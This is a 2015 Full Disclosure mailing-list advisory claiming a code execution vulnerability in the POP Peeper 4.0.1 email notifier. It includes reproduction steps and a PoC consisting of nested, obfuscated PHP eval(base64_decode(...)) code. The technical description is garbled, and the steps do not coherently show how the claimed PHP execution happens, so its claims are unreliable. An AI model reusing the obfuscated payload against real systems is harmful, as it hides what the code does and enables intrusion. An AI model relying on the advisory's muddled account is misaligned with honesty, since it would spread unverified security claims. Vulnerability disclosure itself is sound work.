Date: Tue, 22 Dec 2015 16:06:36 +0100
From: Vulnerability Lab <research@...nerability-lab.com>
To: fulldisclosure@...lists.org
Subject: [FD] POP Peeper 4.0.1 - Persistent Code Execution Vulnerability

Document Title:
===============
POP Peeper 4.0.1 - Persistent Code Execution Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1657


Release Date:
=============
2015-11-26


Vulnerability Laboratory ID (VL-ID):
====================================
1657


Common Vulnerability Scoring System:
====================================
5.7


Product & Service Introduction:
===============================
Email notifier that runs in the Windows task bar and alerts you when you have new email on any of account. POP Peeper is an email notifier that runs in your 
Windows task bar and alerts you when you have new email on your POP3, IMAP (with IDLE support), Hotmai-MSN-LiveMail, Yahoo, GMail, MyWay, Excite, iWon, 
Lycos.com, RediffMail, Juno and NetZero accounts. IMAP supports allows you to access AOL, AIM, Netscape and other services. Send mail directly from POP Peeper 
and use the address book to email your frequently used contacts. POP Peeper allows you to view messages using HTML or you can choose to safely view all messages 
in rich or plain text. Several options are available that will decrease or eliminate the risks of reading your email (viruses, javascript, webbugs, etc). POP 
Peeper can be run from a portable device and can be password protected. Many notification options are availble to indicate when new mail has arrived, such as 
sound alerts (configurable for each account), flashing scroll lock, skinnable popup notifier, customized screensaver and more.

(Copy of the Vendor Homepage: http://data.esumsoft.com/download/POPPeeperPro.zip )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a code execution vulnerability in the official POP Peeper v4.0.1 software.


Vulnerability Disclosure Timeline:
==================================
2015-11-23:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Esumsoft
Product: POP Peeper - Software 4.0.1


Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Technical Details & Description:
================================
A code execution vulnerability has been discovered in the official POP Peeper v4.0.1 software. An attacker can download a remote program from a 
malicious URL is Register by default. I created a video that demonstrates how to download a software on a victim website created by the attacker.


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by local attackers with low pivileged system user account and without user interaction.
For security demonstration or to reproduce follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Launch POP Peeper.exe                
2. Click Tools -> Options -> General                 
3. Paste malicious url in input "Email Client"
4. Click ok and Clik Compose
5. PHP code executed successfully!

PoC Exploit:
<?php
eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCdaWFpoYkNoaVlYTmxOalJmWkdWamIy
                   UmxLQ2RhV0doc1dYbG5ibEY2Y0dOV01HeFBVa1U1V0ZVeGVIcGxXRTR3V
                   2xjd2VrMXNlR3BaVjNocVRHMVdORnBUWTNCUGR6MDlKeWtwT3c9PScpKTs='));
?>


Video Demonstration: http://zwx.fr/videos/POPPeeper.html


Security Risk:
==============
The security risk of the code execution vulnerability in the POP Peeper 4.0.1 software is estimated as medium. (CVSS 5.7)


Credits & Authors:
==================
ZwX - (http://zwx.fr) [ http://www.vulnerability-lab.com/show.php?user=ZwX ]


Disclaimer & Information:
=========================
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